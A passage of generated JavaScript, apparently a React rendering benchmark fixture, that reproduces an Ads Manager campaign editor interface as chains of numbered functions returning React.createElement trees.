React.createElement(\n        'div',\n        {className: '_5dw9 _5dwa clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          XUICardHeaderTitle100(265)\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: '_ohf rfloat'},\n          FluxContainer_AdsPluginizedLinksMenuContainer_121(276)\n        )\n      );\n    }\n  };\n\n  var AdsUnifiedNavigationLocalNav22 = function (x) {\n    if (x === 35) {\n      return React.createElement('div', {className: '_34_i'}, LeftRight21(34));\n    }\n  };\n\n  var XUIDialog23 = function (x) {\n    if (x === 36) {\n      return null;\n    }\n  };\n\n  var AdsPEResetDialog24 = function (x) {\n    if (x === 37) {\n      return React.createElement('span', null, XUIDialog23(36));\n    }\n  };\n\n  var AdsPETopNav25 = function (x) {\n    if (x === 40) {\n      return React.createElement(\n        'div',\n        {style: {width: 1306}},\n        AdsUnifiedNavigationLocalNav22(35),\n        AdsErrorBoundary10(39)\n      );\n    }\n  };\n\n  var FluxContainer_AdsPETopNavContainer_26 = function (x) {\n    if (x === 41) {\n      return AdsPETopNav25(40);\n    }\n  };\n\n  var XUIAbstractGlyphButton27 = function (x) {\n    if (x === 46) {\n      return AbstractButton3(45);\n    }\n    if (x === 150) {\n      return AbstractButton3(149);\n    }\n  };\n\n  var XUICloseButton28 = function (x) {\n    if (x === 47) {\n      return XUIAbstractGlyphButton27(46);\n    }\n    if (x === 151) {\n      return XUIAbstractGlyphButton27(150);\n    }\n  };\n\n  var XUIText29 = function (x) {\n    if (x === 48) {\n      return React.createElement(\n        'span',\n        {display: 'inline', className: ' _50f7'},\n        'Ads Manager'\n      );\n    }\n    if (x === 205) {\n      return React.createElement(\n        'span',\n        {className: '_2x9f  _50f5 _50f7', display: 'inline'},\n        'Editing Campaign'\n      );\n    }\n    if (x === 206) {\n      return React.createElement(\n        'span',\n        {display: 'inline', className: ' _50f5 _50f7'},\n        'Test Campaign'\n      );\n    }\n  };\n\n  var XUINotice30 = function (x) {\n    if (x === 51) {\n      return React.createElement(\n        'div',\n        {size: 'medium', className: '_585n _585o _2wdd'},\n        ReactImage0(42),\n        XUICloseButton28(47),\n        React.createElement(\n          'div',\n          {className: '_585r _2i-a _50f4'},\n          'Please go to ',\n          Link2(50),\n          ' to set up a payment method for this ad account.'\n        )\n      );\n    }\n  };\n\n  var ReactCSSTransitionGroupChild31 = function (x) {\n    if (x === 52) {\n      return XUINotice30(51);\n    }\n  };\n\n  var ReactTransitionGroup32 = function (x) {\n    if (x === 53) {\n      return React.createElement(\n        'span',\n        null,\n        ReactCSSTransitionGroupChild31(52)\n      );\n    }\n  };\n\n  var ReactCSSTransitionGroup33 = function (x) {\n    if (x === 54) {\n      return ReactTransitionGroup32(53);\n    }\n  };\n\n  var AdsPETopError34 = function (x) {\n    if (x === 55) {\n      return React.createElement(\n        'div',\n        {className: '_2wdc'},\n        ReactCSSTransitionGroup33(54)\n      );\n    }\n  };\n\n  var FluxContainer_AdsPETopErrorContainer_35 = function (x) {\n    if (x === 56) {\n      return AdsPETopError34(55);\n    }\n  };\n\n  var FluxContainer_AdsGuidanceChannel_36 = function (x) {\n    if (x === 59) {\n      return null;\n    }\n  };\n\n  var ResponsiveBlock37 = function (x) {\n    if (x === 62) {\n      return React.createElement(\n        'div',\n        {className: '_4u-c'},\n        [AdsErrorBoundary10(58), AdsErrorBoundary10(61)],\n        React.createElement(\n          'div',\n          {key: 'sensor', className: '_4u-f'},\n          React.createElement('iframe', {\n            'aria-hidden': 'true',\n            className: '_1_xb',\n            tabIndex: '-1',\n          })\n        )\n      );\n    }\n    if (x === 469) {\n      return React.createElement(\n        'div',\n        {className: '_4u-c'},\n        AdsPEDataTableContainer158(468),\n        React.createElement(\n          'div',\n          {key: 'sensor', className: '_4u-f'},\n          React.createElement('iframe', {\n            'aria-hidden': 'true',\n            className: '_1_xb',\n            tabIndex: '-1',\n          })\n        )\n      );\n    }\n  };\n\n  var FluxContainer_AdsBulkEditDialogContainer_38 = function (x) {\n    if (x === 63) {\n      return null;\n    }\n  };\n\n  var Column39 = function (x) {\n    if (x === 66) {\n      return React.createElement(\n        'div',\n        {className: '_4bl8 _4bl7'},\n        React.createElement(\n          'div',\n          {className: '_3c5f'},\n          null,\n          null,\n          React.createElement('div', {className: '_3c5i'}),\n          null\n        )\n      );\n    }\n  };\n\n  var XUIButtonGroup40 = function (x) {\n    if (x === 75) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        XUIButton4(69),\n        ReactPopoverMenu20(74)\n      );\n    }\n    if (x === 84) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        XUIButton4(78),\n        ReactPopoverMenu20(83)\n      );\n    }\n    if (x === 97) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        XUIButton4(90),\n        XUIButton4(93),\n        XUIButton4(96)\n      );\n    }\n    if (x === 117) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        AdsPEExportImportMenuContainer48(107),\n        XUIButton4(110),\n        AdsPECampaignGroupTagContainer51(116)\n      );\n    }\n  };\n\n  var AdsPEEditToolbarButton41 = function (x) {\n    if (x === 85) {\n      return XUIButtonGroup40(84);\n    }\n  };\n\n  var FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42 = function (\n    x\n  ) {\n    if (x === 86) {\n      return AdsPEEditToolbarButton41(85);\n    }\n  };\n\n  var FluxContainer_AdsPEEditToolbarButtonContainer_43 = function (x) {\n    if (x === 87) {\n      return FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42(86);\n    }\n  };\n\n  var AdsPEExportImportMenu44 = function (x) {\n    if (x === 103) {\n      return ReactPopoverMenu20(102);\n    }\n  };\n\n  var FluxContainer_AdsPECustomizeExportContainer_45 = function (x) {\n    if (x === 104) {\n      return null;\n    }\n  };\n\n  var AdsPEExportAsTextDialog46 = function (x) {\n    if (x === 105) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEExportAsTextDialogContainer_47 = function (x) {\n    if (x === 106) {\n      return AdsPEExportAsTextDialog46(105);\n    }\n  };\n\n  var AdsPEExportImportMenuContainer48 = function (x) {\n    if (x === 107) {\n      return React.createElement(\n        'span',\n        null,\n        AdsPEExportImportMenu44(103),\n        FluxContainer_AdsPECustomizeExportContainer_45(104),\n        FluxContainer_AdsPEExportAsTextDialogContainer_47(106),\n        null,\n        null\n      );\n    }\n  };\n\n  var Constructor49 = function (x) {\n    if (x === 114) {\n      return null;\n    }\n    if (x === 142) {\n      return null;\n    }\n    if (x === 143) {\n      return null;\n    }\n    if (x === 183) {\n      return null;\n    }\n  };\n\n  var TagSelectorPopover50 = function (x) {\n    if (x === 115) {\n      return React.createElement(\n        'span',\n        {className: ' _3d6e'},\n        XUIButton4(113),\n        Constructor49(114)\n      );\n    }\n  };\n\n  var AdsPECampaignGroupTagContainer51 = function (x) {\n    if (x === 116) {\n      return TagSelectorPopover50(115);\n    }\n  };\n\n  var AdsRuleToolbarMenu52 = function (x) {\n    if (x === 118) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPERuleToolbarMenuContainer_53 = function (x) {\n    if (x === 119) {\n      return AdsRuleToolbarMenu52(118);\n    }\n  };\n\n  var FillColumn54 = function (x) {\n    if (x === 120) {\n      return React.createElement(\n        'div',\n        {className: '_4bl9'},\n        React.createElement(\n          'span',\n          {className: '_3c5e'},\n          React.createElement(\n            'span',\n            null,\n            XUIButtonGroup40(75),\n            FluxContainer_AdsPEEditToolbarButtonContainer_43(87),\n            null,\n            XUIButtonGroup40(97)\n          ),\n          XUIButtonGroup40(117),\n          FluxContainer_AdsPERuleToolbarMenuContainer_53(119)\n        )\n      );\n    }\n  };\n\n  var Layout55 = function (x) {\n    if (x === 121) {\n      return React.createElement(\n        'div',\n        {className: 'clearfix'},\n        Column39(66),\n        FillColumn54(120)\n      );\n    }\n  };\n\n  var AdsPEMainPaneToolbar56 = function (x) {\n    if (x === 122) {\n      return React.createElement(\n        'div',\n        {className: '_3c5b clearfix'},\n        Layout55(121)\n      );\n    }\n  };\n\n  var AdsPECampaignGroupToolbarContainer57 = function (x) {\n    if (x === 123) {\n      return AdsPEMainPaneToolbar56(122);\n    }\n  };\n\n  var AdsPEFiltersPopover58 = function (x) {\n    if (x === 144) {\n      return React.createElement(\n        'span',\n        {className: '_5b-l  _5bbe'},\n        ReactXUIPopoverButton6(133),\n        ReactXUIPopoverButton6(141),\n        [Constructor49(142), Constructor49(143)]\n      );\n    }\n  };\n\n  var AbstractCheckboxInput59 = function (x) {\n    if (x === 145) {\n      return React.createElement(\n        'label',\n        {className: 'uiInputLabelInput _55sg _kv1'},\n        React.createElement('input', {\n          checked: true,\n          disabled: true,\n          name: 'filterUnpublished',\n          value: 'on',\n          onClick: function () {},\n          className: null,\n          id: 'js_input_label_21',\n          type: 'checkbox',\n        }),\n        React.createElement('span', {\n          'data-hover': null,\n          'data-tooltip-content': undefined,\n        })\n      );\n    }\n    if (x === 336) {\n      return React.createElement(\n        'label',\n        {className: '_4h2r _55sg _kv1'},\n        React.createElement('input', {\n          checked: undefined,\n          onChange: function () {},\n          className: null,\n          type: 'checkbox',\n        }),\n        React.createElement('span', {\n          'data-hover': null,\n          'data-tooltip-content': undefined,\n        })\n      );\n    }\n  };\n\n  var XUICheckboxInput60 = function (x) {\n    if (x === 146) {\n      return AbstractCheckboxInput59(145);\n    }\n    if (x === 337) {\n      return AbstractCheckboxInput59(336);\n    }\n  };\n\n  var InputLabel61 = function (x) {\n    if (x === 147) {\n      return React.createElement(\n        'div',\n        {display: 'block', className: 'uiInputLabel clearfix'},\n        XUICheckboxInput60(146),\n        React.createElement(\n          'label',\n          {className: 'uiInputLabelLabel', htmlFor: 'js_input_label_21'},\n          'Always show new items'\n        )\n      );\n    }\n  };\n\n  var AdsPopoverLink62 = function (x) {\n    if (x === 154) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(\n          'span',\n          {\n            onMouseEnter: function () {},\n            onMouseLeave: function () {},\n            onMouseUp: undefined,\n          },\n          React.createElement('span', {className: '_3o_j'}),\n          ReactImage0(153)\n        ),\n        null\n      );\n    }\n    if (x === 238) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(\n          'span',\n          {\n            onMouseEnter: function () {},\n            onMouseLeave: function () {},\n            onMouseUp: undefined,\n          },\n          React.createElement('span', {className: '_3o_j'}),\n          ReactImage0(237)\n        ),\n        null\n      );\n    }\n  };\n\n  var AdsHelpLink63 = function (x) {\n    if (x === 155) {\n      return AdsPopoverLink62(154);\n    }\n    if (x === 239) {\n      return AdsPopoverLink62(238);\n    }\n  };\n\n  var BUIFilterTokenInput64 = function (x) {\n    if (x === 158) {\n      return React.createElement(\n        'div',\n        {className: '_5b5o _3yz3 _4cld'},\n        React.createElement(\n          'div',\n          {className: '_5b5t _2d2k'},\n          ReactImage0(152),\n          React.createElement(\n            'div',\n            {className: '_5b5r'},\n            'Campaigns: (1)',\n            AdsHelpLink63(155)\n          )\n        ),\n        XUIButton4(157)\n      );\n    }\n  };\n\n  var BUIFilterToken65 = function (x) {\n    if (x === 159) {\n      return React.createElement(\n        'div',\n        {className: '_3yz1 _3yz2 _3dad'},\n        React.createElement(\n          'div',\n          {className: '_3yz4', 'aria-hidden': false},\n          React.createElement(\n            'div',\n            {onClick: function () {}, className: '_3yz5'},\n            ReactImage0(148),\n            React.createElement('div', {className: '_3yz7'}, 'Campaigns:'),\n            React.createElement(\n              'div',\n              {\n                className: 'ellipsis _3yz8',\n                'data-hover': 'tooltip',\n                'data-tooltip-display': 'overflow',\n              },\n              '(1)'\n            )\n          ),\n          null,\n          XUICloseButton28(151)\n        ),\n        BUIFilterTokenInput64(158)\n      );\n    }\n  };\n\n  var BUIFilterTokenCreateButton66 = function (x) {\n    if (x === 163) {\n      return React.createElement('div', {className: '_1tc'}, XUIButton4(162));\n    }\n  };\n\n  var BUIFilterTokenizer67 = function (x) {\n    if (x === 164) {\n      return React.createElement(\n        'div',\n        {className: '_5b-m  clearfix'},\n        undefined,\n        [],\n        BUIFilterToken65(159),\n        BUIFilterTokenCreateButton66(163),\n        null,\n        React.createElement('div', {className: '_49u3'})\n      );\n    }\n  };\n\n  var XUIAmbientNUX68 = function (x) {\n    if (x === 165) {\n      return null;\n    }\n    if (x === 189) {\n      return null;\n    }\n    if (x === 200) {\n      return null;\n    }\n  };\n\n  var XUIAmbientNUX69 = function (x) {\n    if (x === 166) {\n      return XUIAmbientNUX68(165);\n    }\n    if (x === 190) {\n      return XUIAmbientNUX68(189);\n    }\n    if (x === 201) {\n      return XUIAmbientNUX68(200);\n    }\n  };\n\n  var AdsPEAmbientNUXMegaphone70 = function (x) {\n    if (x === 167) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement('span', {}),\n        XUIAmbientNUX69(166)\n      );\n    }\n  };\n\n  var AdsPEFilters71 = function (x) {\n    if (x === 168) {\n      return React.createElement(\n        'div',\n        {className: '_4rw_'},\n        AdsPEFiltersPopover58(144),\n        React.createElement('div', {className: '_1eo'}, InputLabel61(147)),\n        BUIFilterTokenizer67(164),\n        '',\n        AdsPEAmbientNUXMegaphone70(167)\n      );\n    }\n  };\n\n  var AdsPEFilterContainer72 = function (x) {\n    if (x === 169) {\n      return AdsPEFilters71(168);\n    }\n  };\n\n  var AdsPETablePager73 = function (x) {\n    if (x === 172) {\n      return null;\n    }\n  };\n\n  var AdsPECampaignGroupTablePagerContainer74 = function (x) {\n    if (x === 173) {\n      return AdsPETablePager73(172);\n    }\n  };\n\n  var AdsPETablePagerContainer75 = function (x) {\n    if (x === 174) {\n      return AdsPECampaignGroupTablePagerContainer74(173);\n    }\n  };\n\n  var ReactXUIError76 = function (x) {\n    if (x === 181) {\n      return AbstractButton3(180);\n    }\n    if (x === 216) {\n      return React.createElement(\n        'div',\n        {className: '_40bf _2vl4 _1h18'},\n        null,\n        null,\n        React.createElement(\n          'div',\n          {className: '_2vl9 _1h1f', style: {backgroundColor: '#fff'}},\n          React.createElement(\n            'div',\n            {className: '_2vla _1h1g'},\n            React.createElement(\n              'div',\n              null,\n              null,\n              React.createElement('textarea', {\n                className: '_2vli _2vlj _1h26 _1h27',\n                dir: 'auto',\n                disabled: undefined,\n                id: undefined,\n                maxLength: null,\n                value: 'Test Campaign',\n                onBlur: function () {},\n                onChange: function () {},\n                onFocus: function () {},\n                onKeyDown: function () {},\n              }),\n              null\n            ),\n            React.createElement('div', {\n              'aria-hidden': 'true',\n              className: '_2vlk',\n            })\n          )\n        ),\n        null\n      );\n    }\n    if (x === 221) {\n      return XUICard94(220);\n    }\n    if (x === 250) {\n      return XUICard94(249);\n    }\n    if (x === 280) {\n      return XUICard94(279);\n    }\n  };\n\n  var BUIPopoverButton77 = function (x) {\n    if (x === 182) {\n      return ReactXUIError76(181);\n    }\n  };\n\n  var BUIDateRangePicker78 = function (x) {\n    if (x === 184) {\n      return React.createElement('span', null, BUIPopoverButton77(182), [\n        Constructor49(183),\n      ]);\n    }\n  };\n\n  var AdsPEStatsRangePicker79 = function (x) {\n    if (x === 185) {\n      return BUIDateRangePicker78(184);\n    }\n  };\n\n  var AdsPEStatRange80 = function (x) {\n    if (x === 191) {\n      return React.createElement(\n        'div',\n        {className: '_3c5k'},\n        React.createElement('span', {className: '_3c5j'}, 'Stats:'),\n        React.createElement(\n          'span',\n          {className: '_3c5l'},\n          AdsPEStatsRangePicker79(185),\n          XUIButton4(188)\n        ),\n        [XUIAmbientNUX69(190)]\n      );\n    }\n  };\n\n  var AdsPEStatRangeContainer81 = function (x) {\n    if (x === 192) {\n      return AdsPEStatRange80(191);\n    }\n  };\n\n  var AdsPESideTrayTabButton82 = function (x) {\n    if (x === 196) {\n      return React.createElement(\n        'div',\n        {className: '_1-ly _59j9 _d9a', onClick: function () {}},\n        ReactImage0(195),\n        React.createElement('div', {className: '_vf7'}),\n        React.createElement('div', {className: '_vf8'})\n      );\n    }\n    if (x === 199) {\n      return React.createElement(\n        'div',\n        {className: ' _1-lz _d9a', onClick: function () {}},\n        ReactImage0(198),\n        React.createElement('div', {className: '_vf7'}),\n        React.createElement('div', {className: '_vf8'})\n      );\n    }\n    if (x === 203) {\n      return null;\n    }\n  };\n\n  var AdsPEEditorTrayTabButton83 = function (x) {\n    if (x === 197) {\n      return AdsPESideTrayTabButton82(196);\n    }\n  };\n\n  var AdsPEInsightsTrayTabButton84 = function (x) {\n    if (x === 202) {\n      return React.createElement(\n        'span',\n        null,\n        AdsPESideTrayTabButton82(199),\n        XUIAmbientNUX69(201)\n      );\n    }\n  };\n\n  var AdsPENekoDebuggerTrayTabButton85 = function (x) {\n    if (x === 204) {\n      return AdsPESideTrayTabButton82(203);\n    }\n  };\n\n  var AdsPEEditorChildLink86 = function (x) {\n    if (x === 211) {\n      return React.createElement(\n        'div',\n        {className: '_3ywr'},\n        Link2(208),\n        React.createElement('span', {className: '_3ywq'}, '|'),\n        Link2(210)\n      );\n    }\n  };\n\n  var AdsPEEditorChildLinkContainer87 = function (x) {\n    if (x === 212) {\n      return AdsPEEditorChildLink86(211);\n    }\n  };\n\n  var AdsPEHeaderSection88 = function (x) {\n    if (x === 213) {\n      return React.createElement(\n        'div',\n        {className: '_yke'},\n        React.createElement('div', {className: '_2x9d _pr-'}),\n        XUIText29(205),\n        React.createElement(\n          'div',\n          {className: '_3a-a'},\n          React.createElement('div', {className: '_3a-b'}, XUIText29(206))\n        ),\n        AdsPEEditorChildLinkContainer87(212)\n      );\n    }\n  };\n\n  var AdsPECampaignGroupHeaderSectionContainer89 = function (x) {\n    if (x === 214) {\n      return AdsPEHeaderSection88(213);\n    }\n  };\n\n  var AdsEditorLoadingErrors90 = function (x) {\n    if (x === 215) {\n      return null;\n    }\n  };\n\n  var AdsTextInput91 = function (x) {\n    if (x === 217) {\n      return ReactXUIError76(216);\n    }\n  };\n\n  var BUIFormElement92 = function (x) {\n    if (x === 218) {\n      return React.createElement(\n        'div',\n        {className: '_5521 clearfix'},\n        React.createElement(\n          'div',\n          {className: '_5522 _3w5q'},\n          React.createElement(\n            'label',\n            {\n              onClick: undefined,\n              htmlFor: '1467872040612:1961945894',\n              className: '_5523 _3w5r',\n            },\n            'Campaign Name',\n            null\n          )\n        ),\n        React.createElement(\n          'div',\n          {className: '_5527'},\n          React.createElement(\n            'div',\n            {className: '_5528'},\n            React.createElement(\n              'span',\n              {key: '.0', className: '_40bg', id: '1467872040612:1961945894'},\n              AdsTextInput91(217),\n              null\n            )\n          ),\n          null\n        )\n      );\n    }\n  };\n\n  var BUIForm93 = function (x) {\n    if (x === 219) {\n      return React.createElement(\n        'div',\n        {className: '_5ks1 _550r  _550t _550y _3w5n'},\n        BUIFormElement92(218)\n      );\n    }\n  };\n\n  var XUICard94 = function (x) {\n    if (x === 220) {\n      return React.createElement(\n        'div',\n        {className: '_40bc _12k2 _4-u2  _4-u8'},\n        BUIForm93(219)\n      );\n    }\n    if (x === 249) {\n      return React.createElement(\n        'div',\n        {className: '_12k2 _4-u2  _4-u8'},\n        AdsCardHeader103(230),\n        AdsCardSection108(248)\n      );\n    }\n    if (x === 279) {\n      return React.createElement(\n        'div',\n        {className: '_12k2 _4-u2  _4-u8'},\n        AdsCardLeftRightHeader122(278)\n      );\n    }\n  };\n\n  var AdsCard95 = function (x) {\n    if (x === 222) {\n      return ReactXUIError76(221);\n    }\n    if (x === 251) {\n      return ReactXUIError76(250);\n    }\n    if (x === 281) {\n      return ReactXUIError76(280);\n    }\n  };\n\n  var AdsEditorNameSection96 = function (x) {\n    if (x === 223) {\n      return AdsCard95(222);\n    }\n  };\n\n  var AdsCampaignGroupNameSectionContainer97 = function (x) {\n    if (x === 224) {\n      return AdsEditorNameSection96(223);\n    }\n  };\n\n  var _render98 = function (x) {\n    if (x === 225) {\n      return AdsCampaignGroupNameSectionContainer97(224);\n    }\n  };\n\n  var AdsPluginWrapper99 = function (x) {\n    if (x === 226) {\n      return _render98(225);\n    }\n    if (x === 255) {\n      return _render111(254);\n    }\n    if (x === 258) {\n      return _render113(257);\n    }\n    if (x === 287) {\n      return _render127(286);\n    }\n    if (x === 291) {\n      return _render130(290);\n    }\n  };\n\n  var XUICardHeaderTitle100 = function (x) {\n    if (x === 227) {\n      return React.createElement(\n        'span',\n        {className: '_38my'},\n        'Campaign Details',\n        null,\n        React.createElement('span', {className: '_c1c'})\n      );\n    }\n    if (x === 265) {\n      return React.createElement(\n        'span',\n        {className: '_38my'},\n        [\n          React.createElement(\n            'span',\n            {key: 1},\n            'Campaign ID',\n            ': ',\n            '98010048849317'\n          ),\n          React.createElement(\n            'div',\n            {className: '_5lh9', key: 2},\n            FluxContainer_AdsCampaignGroupStatusSwitchContainer_119(264)\n          ),\n        ],\n        null,\n        React.createElement('span', {className: '_c1c'})\n      );\n    }\n  };\n\n  var XUICardSection101 = function (x) {\n    if (x === 228) {\n      return React.createElement(\n        'div',\n        {className: '_5dw9 _5dwa _4-u3'},\n        [XUICardHeaderTitle100(227)],\n        undefined,\n        undefined,\n        React.createElement('div', {className: '_3s3-'})\n      );\n    }\n    if (x === 247) {\n      return React.createElement(\n        'div',\n        {className: '_12jy _4-u3'},\n        React.createElement(\n          'div',\n          {className: '_3-8j'},\n          FlexibleBlock105(233),\n          FlexibleBlock105(236),\n          FlexibleBlock105(246),\n          null,\n          null\n        )\n      );\n    }\n  };\n\n  var XUICardHeader102 = function (x) {\n    if (x === 229) {\n      return XUICardSection101(228);\n    }\n  };\n\n  var AdsCardHeader103 = function (x) {\n    if (x === 230) {\n      return XUICardHeader102(229);\n    }\n  };\n\n  var AdsLabeledField104 = function (x) {\n    if (x === 231) {\n      return React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz', label: 'Objective'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Objective '\n        ),\n        null,\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n    if (x === 234) {\n      return React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz', label: 'Buying Type'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Buying Type '\n        ),\n        null,\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n    if (x === 240) {\n      return React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Campaign Spending Limit '\n        ),\n        AdsHelpLink63(239),\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n  };\n\n  var FlexibleBlock105 = function (x) {\n    if (x === 233) {\n      return LeftRight21(232);\n    }\n    if (x === 236) {\n      return LeftRight21(235);\n    }\n    if (x === 246) {\n      return LeftRight21(245);\n    }\n  };\n\n  var AdsBulkCampaignSpendCapField106 = function (x) {\n    if (x === 243) {\n      return React.createElement(\n        'div',\n        {className: '_33dv'},\n        '',\n        Link2(242),\n        ' (optional)'\n      );\n    }\n  };\n\n  var FluxContainer_AdsCampaignGroupSpendCapContainer_107 = function (x) {\n    if (x === 244) {\n      return AdsBulkCampaignSpendCapField106(243);\n    }\n  };\n\n  var AdsCardSection108 = function (x) {\n    if (x === 248) {\n      return XUICardSection101(247);\n    }\n  };\n\n  var AdsEditorCampaignGroupDetailsSection109 = function (x) {\n    if (x === 252) {\n      return AdsCard95(251);\n    }\n  };\n\n  var AdsEditorCampaignGroupDetailsSectionContainer110 = function (x) {\n    if (x === 253) {\n      return AdsEditorCampaignGroupDetailsSection109(252);\n    }\n  };\n\n  var _render111 = function (x) {\n    if (x === 254) {\n      return AdsEditorCampaignGroupDetailsSectionContainer110(253);\n    }\n  };\n\n  var FluxContainer_AdsEditorToplineDetailsSectionContainer_112 = function (x) {\n    if (x === 256) {\n      return null;\n    }\n  };\n\n  var _render113 = function (x) {\n    if (x === 257) {\n      return FluxContainer_AdsEditorToplineDetailsSectionContainer_112(256);\n    }\n  };\n\n  var AdsStickyArea114 = function (x) {\n    if (x === 259) {\n      return React.createElement(\n        'div',\n        {},\n        React.createElement('div', {onWheel: function () {}})\n      );\n    }\n    if (x === 292) {\n      return React.createElement(\n        'div',\n        {},\n        React.createElement('div', {onWheel: function () {}}, [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_errors_section98010048849317'},\n            AdsPluginWrapper99(291)\n          ),\n        ])\n      );\n    }\n  };\n\n  var FluxContainer_AdsEditorColumnContainer_115 = function (x) {\n    if (x === 260) {\n      return React.createElement(\n        'div',\n        null,\n        [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_name_section98010048849317'},\n            AdsPluginWrapper99(226)\n          ),\n          React.createElement(\n            'div',\n            {key: 'campaign_group_basic_section98010048849317'},\n            AdsPluginWrapper99(255)\n          ),\n          React.createElement(\n            'div',\n            {key: 'campaign_group_topline_section98010048849317'},\n            AdsPluginWrapper99(258)\n          ),\n        ],\n        AdsStickyArea114(259)\n      );\n    }\n    if (x === 293) {\n      return React.createElement(\n        'div',\n        null,\n        [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_navigation_section98010048849317'},\n            AdsPluginWrapper99(287)\n          ),\n        ],\n        AdsStickyArea114(292)\n      );\n    }\n  };\n\n  var BUISwitch116 = function (x) {\n    if (x === 261) {\n      return React.createElement(\n        'div',\n        {\n          'data-hover': 'tooltip',\n          'data-tooltip-content':\n            'Currently active. Click this switch to deactivate it.',\n          'data-tooltip-position': 'below',\n          disabled: false,\n          value: true,\n          onToggle: function () {},\n          className: '_128j _128k _128n',\n          role: 'checkbox',\n          'aria-checked': 'true',\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_128o',\n            onClick: function () {},\n            onKeyDown: function () {},\n            onMouseDown: function () {},\n            tabIndex: '0',\n          },\n          React.createElement('div', {className: '_128p'})\n        ),\n        null\n      );\n    }\n  };\n\n  var AdsStatusSwitchInternal117 = function (x) {\n    if (x === 262) {\n      return BUISwitch116(261);\n    }\n  };\n\n  var AdsStatusSwitch118 = function (x) {\n    if (x === 263) {\n      return AdsStatusSwitchInternal117(262);\n    }\n  };\n\n  var FluxContainer_AdsCampaignGroupStatusSwitchContainer_119 = function (x) {\n    if (x === 264) {\n      return AdsStatusSwitch118(263);\n    }\n  };\n\n  var AdsLinksMenu120 = function (x) {\n    if (x === 275) {\n      return ReactPopoverMenu20(274);\n    }\n  };\n\n  var FluxContainer_AdsPluginizedLinksMenuContainer_121 = function (x) {\n    if (x === 276) {\n      return React.createElement('div', null, null, AdsLinksMenu120(275));\n    }\n  };\n\n  var AdsCardLeftRightHeader122 = function (x) {\n    if (x === 278) {\n      return LeftRight21(277);\n    }\n  };\n\n  var AdsPEIDSection123 = function (x) {\n    if (x === 282) {\n      return AdsCard95(281);\n    }\n  };\n\n  var FluxContainer_AdsPECampaignGroupIDSectionContainer_124 = function (x) {\n    if (x === 283) {\n      return AdsPEIDSection123(282);\n    }\n  };\n\n  var DeferredComponent125 = function (x) {\n    if (x === 284) {\n      return FluxContainer_AdsPECampaignGroupIDSectionContainer_124(283);\n    }\n  };\n\n  var BootloadedComponent126 = function (x) {\n    if (x === 285) {\n      return DeferredComponent125(284);\n    }\n  };\n\n  var _render127 = function (x) {\n    if (x === 286) {\n      return BootloadedComponent126(285);\n    }\n  };\n\n  var AdsEditorErrorsCard128 = function (x) {\n    if (x === 288) {\n      return null;\n    }\n  };\n\n  var FluxContainer_FunctionalContainer_129 = function (x) {\n    if (x === 289) {\n      return AdsEditorErrorsCard128(288);\n    }\n  };\n\n  var _render130 = function (x) {\n    if (x === 290) {\n      return FluxContainer_FunctionalContainer_129(289);\n    }\n  };\n\n  var AdsEditorMultiColumnLayout131 = function (x) {\n    if (x === 294) {\n      return React.createElement(\n        'div',\n        {className: '_psh'},\n        React.createElement(\n          'div',\n          {className: '_3cc0'},\n          React.createElement(\n            'div',\n            null,\n            AdsEditorLoadingErrors90(215),\n            React.createElement(\n              'div',\n              {className: '_3ms3'},\n              React.createElement(\n                'div',\n                {className: '_3ms4'},\n                FluxContainer_AdsEditorColumnContainer_115(260)\n              ),\n              React.createElement(\n                'div',\n                {className: '_3pvg'},\n                FluxContainer_AdsEditorColumnContainer_115(293)\n              )\n            )\n          )\n        )\n      );\n    }\n  };\n\n  var AdsPECampaignGroupEditor132 = function (x) {\n    if (x === 295) {\n      return React.createElement(\n        'div',\n        null,\n        AdsPECampaignGroupHeaderSectionContainer89(214),\n        AdsEditorMultiColumnLayout131(294)\n      );\n    }\n  };\n\n  var AdsPECampaignGroupEditorContainer133 = function (x) {\n    if (x === 296) {\n      return AdsPECampaignGroupEditor132(295);\n    }\n  };\n\n  var AdsPESideTrayTabContent134 = function (x) {\n    if (x === 297) {\n      return React.createElement(\n        'div',\n        {className: '_1o_8 _44ra _5cyn'},\n        AdsPECampaignGroupEditorContainer133(296)\n      );\n    }\n  };\n\n  var AdsPEEditorTrayTabContentContainer135 = function (x) {\n    if (x === 298) {\n      return AdsPESideTrayTabContent134(297);\n    }\n  };\n\n  var AdsPEMultiTabDrawer136 = function (x) {\n    if (x === 299) {\n      return React.createElement(\n        'div',\n        {className: '_2kev _2kex'},\n        React.createElement(\n          'div',\n          {className: '_5yno'},\n          AdsPEEditorTrayTabButton83(197),\n          AdsPEInsightsTrayTabButton84(202),\n          AdsPENekoDebuggerTrayTabButton85(204)\n        ),\n        React.createElement(\n          'div',\n          {className: '_5ynn'},\n          AdsPEEditorTrayTabContentContainer135(298),\n          null\n        )\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEMultiTabDrawerContainer_137 = function (x) {\n    if (x === 300) {\n      return AdsPEMultiTabDrawer136(299);\n    }\n  };\n\n  var AdsPESimpleOrganizer138 = function (x) 